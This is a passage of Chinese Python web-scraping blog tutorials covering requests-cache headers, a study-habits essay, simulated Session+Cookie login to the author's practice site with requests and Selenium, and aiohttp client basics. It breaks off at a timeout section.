session.get('http://httpbin.org/delay/1',
headers={
'Cache-Control': 'no-store'
})
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time for get', end - start)
start = time.time()

这里我们在 Request Headers 里面加上了 Cache-Controlno-store,这样的话,即使我们声明了缓存那也不会生效。

当然 Response Headers 的解析也是支持的,我们可以这样开启:

1
requests_cache.install_cache('demo_cache3', cache_control=True)

如果我们配置了这个参数,那么 expire_after 的配置就会被覆盖而不会生效。

更多的用法可以参见:https://requests-cache.readthedocs.io/en/stable/user_guide/headers.html#cache-headers

总结

好了,到现在为止,一些基本配置、过期时间配置、后端配置、过滤器配置等基本常见的用法就介绍到这里啦,更多详细的用法大家可以参考官方文档:https://requests-cache.readthedocs.io/en/stable/user_guide.html

希望对大家有帮助。

更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

个人随笔

利用好搜索引擎

互联网时代,我们面临的是知识爆炸而不是知识匮乏。网上有很多很多好的学习资源,比如一些学习文档、疑难问题解决方案,很多都可以在网上搜到。

虽然网上有这些内容,但不同的搜索方法和用不同的搜索引擎搜到的结果就大不一样。

比如说,我们平时遇到了一些编程相关的问题,在谷歌中用英文搜索的结果在绝大多数情况下都会比在百度用中文搜索的结果好。比如说前者的结果通常就会是一些官方文档说明,而后者大多都是一些中文版 CSDN 博客,谁更前沿、更权威高下立判了。

我是做技术相关的,所以对于一些技术内容,我个人是非常建议首选谷歌英文搜索的,多数情况下能够更快更好地解决问题。

多看一手资料

我们知道,现在网上很多框架、工具,其都会配一个官方文档,比如 Python 的某个工具库、Vue 的的某个脚手架等等,同时很多源码也会在 GitHub 上公开。

我们如果要进行学习这些内容的话,我个人推荐尽量多去查询一些一手的资料,比如一些入门使用方法,可以尽量去看官方文档的一些 Get Started 部分;比如一些疑难 Issues,可以去 GitHub Issues 区搜索下关键词。

当然有的同学会说,官方文档都是些英文的,我看不懂啊,所以通常都会去搜索一些博客文章来看,比如一些中文博客的教程。可以是可以,也的确有一些优秀的博主能写出一些不错的文章,但毕竟还是少,而且这永远都不是一手资料,多数情况下,博客的文章也会有一些实效性的问题或者难免会出现一些错误。

所以,我个人还是推荐尽量去看一手资料。但一手的资料通常英文居多,但还是建议大家能够尽量地适应去读英文文档,如果能够做到的话,我们获取知识的能力会继续上一个台阶。

时间管理和分类

每个人的精力都是有限的,一些工作和其他的琐事可以说是无穷无尽的。

所以,在做一些工作和学习的事情的时候,我们需要去区分优先级和重要程度,也就是能够合理地管理好自己要做的事情。

我个人会用一个清单软件(我用的滴答清单)来记录我所有需要做的事情,然后会给每个事情进行分类,比如说我会划分工作、学习、私人、购物、电影等等各种分类,然后每个任务都会指定好优先级和过期事件。指定好了之后,清单软件有一些功能可以给我筛选出来哪些是紧急重要,哪些是不紧急重要,哪些是紧急不重要等等的事情,然后我会有选择地去做对应的事情。比如说我会把大量的时间花在重要的事情上,不紧急不重要的可以看看能否尽量规避或者找人代做,总之不同的类型需要有不同的应对方案。

另外还有一些习惯养成类的事情,比如说定期的学习计划、定期的健身、定期的冥想、定期的跑步,也可以列入到个人的事件规划中。我通常以打卡的形式记录在清单软件中,每天都会有定期提醒,这样做完之后我就会打一次卡,看着越来越满的打卡记录,会感觉比较有成就感,大家也可以来试试。

要有一个短期目标

我们有时候做事的时候,脑子里知道很多长远的目标是什么。比如说,我长远计划里面有一个事情是要做一个网站系统,这是一个大目标,同时也有一个长远计划是要学习精通一门编程语言,这也是一个大目标。很多大目标都在我们的潜意识里面存留着。

现在问一个问题,虽然这些大的目标都在我们脑海里,但有没有一个时间,自己突然闲下来或者临时没有事的时候,却不知道这个空闲的时间去做什么?

如果有,那很可能就是因为没有短期目标。因为这个目标在我们的脑海中太大了,根本无法落实到执行的地步,所以我们需要做的事就是把一些目标进行拆解,拆解到什么地步呢?拆解到能够想到就能立马开始做的地步,这就是一些短期目标。

比如说,我们要学习一门课,我们可以给自己列个计划,比如哪天可以看哪个视频,或者一篇文章,这是知道了就能立马去做的事情。

所以,有了这个短期目标,我们能够更好地落实到执行上,这也是能够有效延缓拖延的方法。

不要完美主义

在做一些事情的时候,我们不要过分地追求完美主义。不是说不好,是因为这样很容易消磨我们的精力和耐心。

比如说,我们学习背单词吧,比如每天的计划是 20 个单词,好第一天背了 20 个,然后接着第二天的时候发现前 20 个单词没有背过,然后就接着背前 20 个单词,然后第三天的时候发现第一天和第二天的 40 个还是记得不牢固,然后就觉得好难,最后就放弃了,这就是因为过分追求完美主义导致的问题。

学习并不是非 0 即 1 的,我们如果能够学会 20%、60%、80% 也是一个不错的进步。

所以,我们不要执着于完美主义,非要做到 100% 不可,这样会把自己的精力和耐心慢慢消磨,直到放弃。

不是所有教材都适合每个人

并不是所有权威教材都是适合每个人的,要去寻找适合自己的学习方式。

市面上其实有很多所谓的权威教材或者网红教材,但这些教材并不是万能的,众口是很难调的,因为每个人的基础、水平都是不同的。

比如说一本书里面在前面的章节写了一些基础的环境配置和基础知识,有些人就会觉得非常友好,会觉得非常实用,但有些人就会觉得非常啰嗦,没有重点。比如说有人在学习一个框架和库的时候就喜欢看视频学习,因为这样能够看到具体的操作流程,但有些人就会觉得看视频学习非常浪费时间,而且知识点不好找,还是看官方文档或看书更方便。

这些学习方法和偏好没有绝对的对与不对,我们也不用非要跟风去购买和学习某个特定的教材和学习形式,适合自己的才是最好的。

多进行总结和记录

这个是非常非常非常重要的,在学习的过程中把学习笔记记录下来是一个非常好而且有效的学习习惯。

好处有这么以下几点:

  • 自己的学习笔记是对自己学习过程的梳理和总结,梳理和总结的过程就是一个学习复盘的过程,能够加深自己对知识点的印象。
  • 方便复习会看,好记性不如烂笔头。写下来之后,如果我们想要对某个知识点进行复习,是非常容易的,因为文章的整体思路本身就是自己的,要捡起来也非常容易。
  • 如果我们能够把学习内容整理发表出去,大家也可以对文章进行阅读和评论,在讨论的过程中可以有更多思维火花的碰撞,说不定能有更深入的了解。
  • 能够帮助更多的人,因为我们遇到的问题通常也是别人遇到的,如果能够帮助更多的人,心里肯定也是很有成就感的。

学习要有深有浅

学习一个知识点,我们也是需要有深浅的控制的,也是需要评估一些学习时间和成本的。

比如一个知识点,我们可以给它划分成三个层级,第一层级是会用即可,第二层级是熟练运用,第三层是深刻理解并改写。

在我们日常的工作中,由于不同技术栈和项目的需要,对一些知识的需求也会不一样,比如一些核心的技术,我们就需要深入理解并改写。比如说假如我是做 Scrapy 爬虫的,那对于 Scrapy 框架我就需要做到第三个层次,即深入理解并能改写;对于一些较高频的工具,比如 argparse,那我们就需要做到熟练运用;但对于一些低频且比较边角的知识点,我们只要花最少的时间知道它最基本的用法就好了,因为可能我们就是用到了它的最基本的用法解决了一个边角问题,所以没必要花太多时间在上面。

所以,对于一些学习内容,我们要能够分清楚这个知识点应该学到什么地步,然后采取对应的学习方案。

路径依赖

我们在学习的时候要尽量避免一些路径依赖的问题。

比如说,一位同学要学习 Python 机器学习相关内容,Python 机器学习的基础是一些 Python 和数学相关的内容,那他就非要把 Python 和数学的知识先全部研究透,比如说把所有的 Python 基础全学一遍、把所有的高等数学、统计学的知识全都学一遍,然后再回过头来学习 Python 机器学习,结果学习的时候发现很多 Python 基础和数学基础都用不到,然后久而久之,用不到的 Python 基础和数学基础就慢慢忘记了,而且 Python 机器学习的学习周期也被大大拉长。

这个例子中出现的就是路径依赖问题,我们其实没必要非要把所有的依赖项都完美一个个地彻底解决了再来学习对应的知识,知识点都是有关联的,我们在学习的时候可以以最终的结果为导向。

比如说,我今天要学 Python 机器学习,比如一个分类算法的实现,那我就把 Python 的模型定义、类定义、方法定义学会,同时研究好数学中的分类算法的思路,那就可以去学习 Python 机器学习了,这样整体效果也会更快更好,同时学习到的知识也能够用得上,且紧密关联。

学习优秀的源码

很多很多优秀的编程思路和方法其实都隐藏在一些优秀的源代码库里面。

比如说,学习爬虫,Scrapy 框架为什么能够做到这么好的扩展性?比如说,学习网站开发,Vue 为什么能够吸引这么多开发者学习?这其中都是有一定原因的,这些优秀的框架也是有它们的过人之处的,另外一些优秀的源码里面通常质量也会很高。

所以,我们如果能够多去阅读一些优秀的框架或库的源码,能够学到很多有用的编程思路和技巧的,如果能够把这些思路和知识运用到自己的工作和项目中,那一定会大有帮助。

实践很重要

这个就不用多说了,光说不练,等于白搭。

对于我们做技术的来说,如果我们只是干巴巴地阅读一些官方文档和教程,而不去实际编写一些代码运行的话,收获是很少的。

一般来说,如果我们学习一些框架和库的时候,如果能够跟着把一些样例敲下来,真的能够理解深入很多。通常,阅读的时候我们不会发现问题,但一但一点点跟着敲下来,把代码运行起来,我们会发现很多潜在的问题,而且会对问题的认识更加深刻。

还有就是,遇到问题的时候,我们也需要多去实践和探索,如果不是十分紧急,我们可以尽量去尝试去搜索问题的解决方案,去 debug,去找 root cause,这样我们就能对某个问题有更加深刻的认识,同时自己解决问题的能力也会大大提高。

贵有恒

是的,做一件事或者学习一个知识,一个非常非常重要的要素就是有恒心,即坚持。

贵有恒,何必三更起五更睡。

是的,做成一件事一个很大的拦路虎就是半途而废、三天打鱼两天晒网,这样很容易做着做着就没有下文了,然后就再也没有然后了,很多很多的事情就是因为这个而失败了。

贵有恒,坚持下来,做好计划,一件事,如果我们能够坚持做下来,一天天慢慢积累,其威力是无穷的。

更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

在上一节我们了解了网站登录验证和模拟登录的基本原理。网站登录验证主要有两种实现方式,一种是基于 Session + Cookies 的登录验证,另一种是基于 JWT 的登录验证。接下来两节,我们就通过两个实例来分别讲解这两种登录验证的分析和模拟登录流程。

本节主要介绍 Session + Cookie 模拟登录的流程。

1. 准备工作

在本节开始之前,我们需要先做好如下准备工作。

  • 安装好了 requests 请求库并学会了其基本用法。
  • 安装好了 Selenium 库并学会了其基本用法。

下面我们就用两个案例来分别讲解模拟登录的实现。

2. 案例介绍

本节有一个适用于 Session + Cookie 模拟登录的案例网站,网址为:https://login2.scrape.center/,访问之后,我们会看到一个登录页面,如图所示:

image-20210711021407260

我们输入用户名和密码(用户名和密码都是 admin),然后点击登录。登录成功后,我们便可以看到一个和之前案例类似的电影网站,如图所示。

image-20210711021454920

这个网站是基于传统的 MVC 模式开发的,因此也比较适合 Session + Cookie 的模拟登录。

3. 模拟登录

对于这个网站,我们如果要模拟登录,就需要先分析登录过程究竟发生了什么。我们打开开发者工具,重新执行登录操作,查看其登录过程中发生的请求,如图所示。

image-20210711021940703

图 10-5 登录过程中发生的请求

从图 10-5 中我们可以看到,在登录的瞬间,浏览器发起了一个 POST 请求,目标 URL 为 https://login2.scrape.center/login,并通过表单提交的方式像服务器提交了登录数据,其中包括 username 和 password 两个字段,返回的状态码是 302,Response Headers 的 location 字段为根页面,同时 Response Headers 还包含了 set-cookie 信息,设置了 Session ID。

由此我们可以发现,要实现模拟登录,我们只需要模拟这个请求就好了。登录完成后获取 Response 设置的 Cookie,将它保存好,后续发出请求的时候带上 Cookies 就可以正常访问了。

好,那么我们就来用代码实现一下吧!

在默认情况下,每次 requests 请求都是独立且互不干扰的,比如我们第一次调用了 post 方法模拟登录了一下,紧接着再调用 get 方法请求主页面。其实这是两个完全独立的请求,第一次请求获取的 Cookie 并不能传给第二次请求,因此常规的顺序调用是不能起到模拟登录效果的。

我们来看一段无效的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from urllib.parse import urljoin

BASE_URL = 'https://login2.scrape.center/'
LOGIN_URL = urljoin(BASE_URL, '/login')
INDEX_URL = urljoin(BASE_URL, '/page/1')
USERNAME = 'admin'
PASSWORD = 'admin'

response_login = requests.post(LOGIN_URL, data={
'username': USERNAME,
'password': PASSWORD
})

response_index = requests.get(INDEX_URL)
print('Response Status', response_index.status_code)
print('Response URL', response_index.url)

这里我们先定义了几个基本的 URL 、用户名和密码,然后我们分别用 requests 请求了登录的 URL 进行模拟登录,紧接着请求了首页来获取页面内容,能正常获取数据吗?由于 requests 可以自动处理重定向,我们可以在最后把 Response 的 URL 打印出来,如果它的结果是 INDEX_URL,那么证明模拟登录成功并成功爬取到了首页的内容。如果它跳回到了登录页面,那就说明模拟登录失败。

我们通过结果来验证一下,运行结果如下:

1
2
Response Status 200
Response URL https://login2.scrape.center/login?next=/page/1

这里可以看到,其最终的页面 URL 是登录页面的 URL。另外这里也可以通过 Response 的 text 属性来验证下页面源码,其源码内容就是登录页面的源码内容,由于内容较多,这里就不再输出比对了。

总之,这个现象说明我们并没有成功完成模拟登录,这是因为 requests 直接调用 postget 等方法,每次请求都是一个独立的请求,都相当于是新开了一个浏览器打开这些链接,所以这两次请求对应的 Session 并不是同一个,这里我们模拟了第一个 Session 登录,并不能影响第二个 Session 的状态,因此模拟登录也就无效了。

那么怎样才能实现正确的模拟登录呢?

我们知道 Cookie 里面是保存了 Session ID 信息的,刚才也观察到了登录成功后 Response Headers 里面有 set-cookie 字段,实际上这就是让浏览器生成了 Cookie。因为 Cookies 里面包含了 Session ID 的信息,所以只要后续的请求带着这些 Cookie,服务器便能通过 Cookie 里的 Session ID 信息找到对应的 Session 了,因此,服务端对于这两次请求就会使用同一个 Session 了。因为第一次我们已经成功完成了模拟登录,所以 Session 里面就记录了用户的登录信息,在第二次访问的时候,由于是同一个 Session,服务器就能知道用户当前是登录状态,那就能够返回正确的结果而不再是跳转到登录页面了。

所以,这里的关键在于两次请求的 Cookie 的传递。这里我们可以把第一次模拟登录后的 Cookie 保存下来,在第二次请求的时候加上这个 Cookie,代码可以改写如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
from urllib.parse import urljoin

BASE_URL = 'https://login2.scrape.center/'
LOGIN_URL = urljoin(BASE_URL, '/login')
INDEX_URL = urljoin(BASE_URL, '/page/1')
USERNAME = 'admin'
PASSWORD = 'admin'

response_login = requests.post(LOGIN_URL, data={
'username': USERNAME,
'password': PASSWORD
}, allow_redirects=False)

cookies = response_login.cookies
print('Cookies', cookies)

response_index = requests.get(INDEX_URL, cookies=cookies)
print('Response Status', response_index.status_code)
print('Response URL', response_index.url)

由于 requests 可以自动处理重定向,所以我们模拟登录的过程要加上 allow_redirects 参数并将其设置为 False,使其不自动处理重定向。我们将登录之后返回的 Response 赋值为 response_login,这样调用 response_logincookies 就是获取了网站的 Cookie 信息了。这里 requests 自动帮我们解析了 Response Headers 的 set-cookie 字段并设置了 Cookie,所以我们不用再去手动解析 Response Headers 的内容了,直接使用 response_login 对象的 cookies 方法即可获取 Cookie。

好,接下来我们再次用 requests 的 get 方法来请求网站的 INDEX_URL。不过这里和之前不同,get 方法增加了一个参数 cookies,这就是第一次模拟登录完之后获取的 Cookie,这样第二次请求就能携带第一次模拟登录获取的 Cookie 信息了,此时网站会根据 Cookie 里面的 Session ID 信息查找到同一个 Session,校验其已经是登录状态,然后返回正确的结果。

这里我们还是输出最终的 URL,如果它是 INDEX_URL,就代表模拟登录成功并获取了有效数据,否则就代表模拟登录失败。

我们看下运行结果:

1
2
3
Cookies <RequestsCookieJar[<Cookie sessionid=psnu8ij69f0ltecd5wasccyzc6ud41tc for login2.scrape.center/>]>
Response Status 200
Response URL https://login2.scrape.center/page/1

这下没有问题了,我们发现其 URL 就是 INDEX_URL,模拟登录成功了!同时还可以进一步输出 response_indextext 属性看下是否获取成功。

后续用同样的方式爬取即可。但其实我们发现,这种实现方式比较烦琐,每次还需要处理 Cookie 并一次传递,有没有更简便的方法呢?

有的,我们可以直接借助于 requests 内置的 Session 对象来帮我们自动处理 Cookie,使用了 Session 对象之后,requests 会自动保存每次请求后需要设置的 Cookie ,并在下次请求时自动携带它,就相当于帮我们维持了一个 Session 对象,这样就更方便了。

所以,刚才的代码可以简化如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
from urllib.parse import urljoin

BASE_URL = 'https://login2.scrape.center/'
LOGIN_URL = urljoin(BASE_URL, '/login')
INDEX_URL = urljoin(BASE_URL, '/page/1')
USERNAME = 'admin'
PASSWORD = 'admin'

session = requests.Session()

response_login = session.post(LOGIN_URL, data={
'username': USERNAME,
'password': PASSWORD
})

cookies = session.cookies
print('Cookies', cookies)

response_index = session.get(INDEX_URL)
print('Response Status', response_index.status_code)
print('Response URL', response_index.url)

可以看到,这里我们无须再关心 Cookie 的处理和传递问题,我们声明了一个 Session 对象,然后每次调用请求的时候都直接使用 Session 对象的 postget 方法就好了。

运行效果是完全一样的,结果如下:

1
2
3
Cookies <RequestsCookieJar[<Cookie sessionid=ssngkl4i7en9vm73bb36hxif05k10k13 for login2.scrape.center/>]>
Response Status 200
Response URL https://login2.scrape.center/page/1

因此,为了简化写法,这里建议直接使用 Session 对象进行请求,这样我们无须关心 Cookie 的操作了,实现起来会更加方便。

这个案例整体来说比较简单,但是如果碰上复杂一点的网站,如带有验证码,带有加密参数等,直接用 requests 并不好处理模拟登录,如果登录不了,那整个页面不就都没法爬取了吗?有没有其他的方式来解决这个问题呢?当然是有的,比如说我们可以使用 Selenium 来模拟浏览器,进而实现模拟登录,然后获取模拟登录成功后的 Cookie,再把获取的 Cookie 交由 requests 等来爬取就好了。

这里我们还是以刚才的页面为例,把模拟登录这块交由 Selenium 来实现,后续的爬取交由 requests 来实现,相关的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from urllib.parse import urljoin
from selenium import webdriver
import requests
import time

BASE_URL = 'https://login2.scrape.center/'
LOGIN_URL = urljoin(BASE_URL, '/login')
INDEX_URL = urljoin(BASE_URL, '/page/1')
USERNAME = 'admin'
PASSWORD = 'admin'

browser = webdriver.Chrome()
browser.get(BASE_URL)
browser.find_element_by_css_selector('input[name="username"]').send_keys(USERNAME)
browser.find_element_by_css_selector('input[name="password"]').send_keys(PASSWORD)
browser.find_element_by_css_selector('input[type="submit"]').click()
time.sleep(10)

# get cookies from selenium
cookies = browser.get_cookies()
print('Cookies', cookies)
browser.close()

# set cookies to requests
session = requests.Session()
for cookie in cookies:
session.cookies.set(cookie['name'], cookie['value'])

response_index = session.get(INDEX_URL)
print('Response Status', response_index.status_code)
print('Response URL', response_index.url)

这里我们使用 Selenium 先打开了 Chrome,然后跳转到了登录页面,随后模拟输入了用户名和密码,接着点击了登录按钮,我们可以发现浏览器提示登录成功,然后跳转到了主页面。

这时候,我们通过调用 get_cookies 方法便能获取当前浏览器所有的 Cookie,这就是模拟登录成功之后的 Cookie,用这些 Cookie 我们就能访问其他数据了。

接下来,我们声明了 requests 的 Session 对象,然后遍历了刚才的 Cookie 并将其设置到 Session 对象的 cookies 属性上,接着再拿着这个 Session 对象去请求 INDEX_URL,就也能够获取对应的信息而不会跳转到登录页面了。

运行结果如下:

1
2
3
Cookies [{'domain': 'login2.scrape.center', 'expiry': 1589043753.553155, 'httpOnly': True, 'name': 'sessionid', 'path': '/', 'sameSite': 'Lax', 'secure': False, 'value': 'rdag7ttjqhvazavpxjz31y0tmze81zur'}]
Response Status 200
Response URL https://login2.scrape.center/page/1

可以看到,这里的模拟登录和后续的爬取也成功了。所以说,如果碰到难以模拟登录的过程,我们也可以使用 Selenium 等模拟浏览器的操作方式来实现,其目的就是获取登录后的 Cookie,有了 Cookie 之后,我们再用这些 Cookie 爬取其他页面就好了。

所以这里我们也可以发现,对于基于 Session + Cookie 验证的网站,模拟登录的核心要点就是获取 Cookie。这个 Cookie 可以被保存下来或传递给其他的程序继续使用,甚至可以将 Cookie 持久化存储或传输给其他终端来使用。

另外,为了提高 Cookie 利用率或降低封号概率,可以搭建一个账号池实现 Cookie 的随机取用。

4. 总结

以上我们通过一个示例来演示了模拟登录爬取的过程,以后遇到这种情形的时候就可以用类似的思路解决了。

本节代码:https://github.com/Python3WebSpider/ScrapeLogin2。

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

在上一节中,我们介绍了异步爬虫的基本原理和 asyncio 的基本用法,并且在最后简单提及了使用 aiohttp 来实现网页爬取的过程。在本节中,我们来介绍一下 aiohttp 的常见用法。

1. 基本介绍

前面介绍的 asyncio 模块内部实现了对 TCP、UDP、SSL 协议的异步操作,但是对于 HTTP 请求来说,我们就需要用到 aiohttp 来实现了。

aiohttp 是一个基于 asyncio 的异步 HTTP 网络模块,它既提供了服务端,又提供了客户端。其中我们用服务端可以搭建一个支持异步处理的服务器,就是用来处理请求并返回响应的,类似于 Django、Flask、Tornado 等一些 Web 服务器。而客户端可以用来发起请求,类似于使用 requests 发起一个 HTTP 请求然后获得响应,但 requests 发起的是同步的网络请求,aiohttp 则是异步的。

本节中,我们主要了解一下 aiohttp 客户端部分的用法。

2. 基本实例

首先,我们来看一个基本的 aiohttp 请求案例,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import aiohttp
import asyncio

async def fetch(session, url):
async with session.get(url) as response:
return await response.text(), response.status

async def main():
async with aiohttp.ClientSession() as session:
html, status = await fetch(session, 'https://cuiqingcai.com')
print(f'html: {html[:100]}...')
print(f'status: {status}')

if __name__ == '__main__':
loop = asyncio.get_event_loop()
loop.run_until_complete(main())

这里我们使用 aiohttp 来爬取我的个人博客,获得了源码和响应状态码并输出出来,运行结果如下:

1
2
3
4
5
6
html: <!DOCTYPE HTML>
<html>
<head>
<meta charset="UTF-8">
<meta name="baidu-tc-verification" content=...
status: 200

这里网页源码过长,只截取输出了一部分。可以看到,这里我们成功获取了网页的源代码及响应状态码 200,也就完成了一次基本的 HTTP 请求,即我们成功使用 aiohttp 通过异步的方式来进行了网页爬取。当然,这个操作用之前讲的 requests 也可以做到。

可以看到,其请求方法的定义和之前有了明显的区别,主要有如下几点:

  • 首先在导入库的时候,我们除了必须要引入 aiohttp 这个库之外,还必须要引入 asyncio 这个库。因为要实现异步爬取,需要启动协程,而协程则需要借助于 asyncio 里面的事件循环来执行。除了事件循环,asyncio 里面也提供了很多基础的异步操作。
  • 异步爬取方法的定义和之前有所不同,在每个异步方法前面统一要加 async 来修饰。
  • with as 语句前面同样需要加 async 来修饰。在 Python 中,with as 语句用于声明一个上下文管理器,能够帮我们自动分配和释放资源。而在异步方法中,with as 前面加上 async 代表声明一个支持异步的上下文管理器。
  • 对于一些返回 coroutine 的操作,前面需要加 await 来修饰。比如 response 调用 text 方法,查询 API 可以发现,其返回的是 coroutine 对象,那么前面就要加 await;而对于状态码来说,其返回值就是一个数值类型,那么前面就不需要加 await。所以,这里可以按照实际情况处理,参考官方文档说明,看看其对应的返回值是怎样的类型,然后决定加不加 await 就可以了。
  • 最后,定义完爬取方法之后,实际上是 main 方法调用了 fetch 方法。要运行的话,必须要启用事件循环,而事件循环就需要使用 asyncio 库,然后使用 run_until_complete 方法来运行。

注意:在 Python 3.7 及以后的版本中,我们可以使用 asyncio.run(main()) 来代替最后的启动操作,不需要显示声明事件循环,run 方法内部会自动启动一个事件循环。但这里为了兼容更多的 Python 版本,依然还是显式声明了事件循环。

3. URL 参数设置

对于 URL 参数的设置,我们可以借助于 params 参数,传入一个字典即可,示例如下:

1
2
3
4
5
6
7
8
9
10
11
import aiohttp
import asyncio

async def main():
params = {'name': 'germey', 'age': 25}
async with aiohttp.ClientSession() as session:
async with session.get('https://httpbin.org/get', params=params) as response:
print(await response.text())

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"args": {
"age": "25",
"name": "germey"
},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "Python/3.7 aiohttp/3.6.2",
"X-Amzn-Trace-Id": "Root=1-5e85eed2-d240ac90f4dddf40b4723ef0"
},
"origin": "17.20.255.122",
"url": "https://httpbin.org/get?name=germey&age=25"
}

这里可以看到,其实际请求的 URL 为 https://httpbin.org/get?name=germey&age=25,其 URL 请求参数就对应了 params 的内容。

4. 其他请求类型

另外,aiohttp 还支持其他请求类型,如 POST、PUT、DELETE 等,这和 requests 的使用方式有点类似,示例如下:

1
2
3
4
5
6
session.post('http://httpbin.org/post', data=b'data')
session.put('http://httpbin.org/put', data=b'data')
session.delete('http://httpbin.org/delete')
session.head('http://httpbin.org/get')
session.options('http://httpbin.org/get')
session.patch('http://httpbin.org/patch', data=b'data')

要使用这些方法,只需要把对应的方法和参数替换一下即可。

5. POST 请求

对于 POST 表单提交,其对应的请求头的 Content-Typeapplication/x-www-form-urlencoded,我们可以用如下方式来实现,代码示例如下:

1
2
3
4
5
6
7
8
9
10
11
import aiohttp
import asyncio

async def main():
data = {'name': 'germey', 'age': 25}
async with aiohttp.ClientSession() as session:
async with session.post('https://httpbin.org/post', data=data) as response:
print(await response.text())

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"args": {},
"data": "",
"files": {},
"form": {
"age": "25",
"name": "germey"
},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Content-Length": "18",
"Content-Type": "application/x-www-form-urlencoded",
"Host": "httpbin.org",
"User-Agent": "Python/3.7 aiohttp/3.6.2",
"X-Amzn-Trace-Id": "Root=1-5e85f0b2-9017ea603a68dc285e0552d0"
},
"json": null,
"origin": "17.20.255.58",
"url": "https://httpbin.org/post"
}

对于 POST JSON 数据提交,其对应的请求头的 Content-Typeapplication/json,我们只需要将 post 方法的 data 参数改成 json 即可,代码示例如下:

1
2
3
4
5
async def main():
data = {'name': 'germey', 'age': 25}
async with aiohttp.ClientSession() as session:
async with session.post('https://httpbin.org/post', json=data) as response:
print(await response.text())

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"args": {},
"data": "{\"name\": \"germey\", \"age\": 25}",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Content-Length": "29",
"Content-Type": "application/json",
"Host": "httpbin.org",
"User-Agent": "Python/3.7 aiohttp/3.6.2",
"X-Amzn-Trace-Id": "Root=1-5e85f03e-c91c9a20c79b9780dbed7540"
},
"json": {
"age": 25,
"name": "germey"
},
"origin": "17.20.255.58",
"url": "https://httpbin.org/post"
}

可以发现,其实现也和 requests 非常像,不同的参数支持不同类型的请求内容。

6. 响应

对于响应来说,我们可以用如下方法分别获取响应的状态码、响应头、响应体、响应体二进制内容、响应体 JSON 结果,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import aiohttp
import asyncio

async def main():
data = {'name': 'germey', 'age': 25}
async with aiohttp.ClientSession() as session:
async with session.post('https://httpbin.org/post', data=data) as response:
print('status:', response.status)
print('headers:', response.headers)
print('body:', await response.text())
print('bytes:', await response.read())
print('json:', await response.json())

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
status: 200
headers: <CIMultiDictProxy('Date': 'Thu, 02 Apr 2020 14:13:05 GMT', 'Content-Type': 'application/json', 'Content-Length': '503', 'Connection': 'keep-alive', 'Server': 'gunicorn/19.9.0', 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Credentials': 'true')>
body: {
"args": {},
"data": "",
"files": {},
"form": {
"age": "25",
"name": "germey"
},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Content-Length": "18",
"Content-Type": "application/x-www-form-urlencoded",
"Host": "httpbin.org",
"User-Agent": "Python/3.7 aiohttp/3.6.2",
"X-Amzn-Trace-Id": "Root=1-5e85f2f1-f55326ff5800b15886c8e029"
},
"json": null,
"origin": "17.20.255.58",
"url": "https://httpbin.org/post"
}

bytes: b'{\n "args": {}, \n "data": "", \n "files": {}, \n "form": {\n "age": "25", \n "name": "germey"\n }, \n "headers": {\n "Accept": "*/*", \n "Accept-Encoding": "gzip, deflate", \n "Content-Length": "18", \n "Content-Type": "application/x-www-form-urlencoded", \n "Host": "httpbin.org", \n "User-Agent": "Python/3.7 aiohttp/3.6.2", \n "X-Amzn-Trace-Id": "Root=1-5e85f2f1-f55326ff5800b15886c8e029"\n }, \n "json": null, \n "origin": "17.20.255.58", \n "url": "https://httpbin.org/post"\n}\n'
json: {'args': {}, 'data': '', 'files': {}, 'form': {'age': '25', 'name': 'germey'}, 'headers': {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'Content-Length': '18', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': 'httpbin.org', 'User-Agent': 'Python/3.7 aiohttp/3.6.2', 'X-Amzn-Trace-Id': 'Root=1-5e85f2f1-f55326ff5800b15886c8e029'}, 'json': None, 'origin': '17.20.255.58', 'url': 'https://httpbin.org/post'}

这里我们可以看到有些字段前面需要加 await,有的则不需要。其原则是,如果它返回的是一个 coroutine 对象(如 async 修饰的方法),那么前面就要加 await,具体可以看 aiohttp 的 API,其链接为:https://docs.aiohttp.org/en/stable/client_reference.html。

7. 超时设置

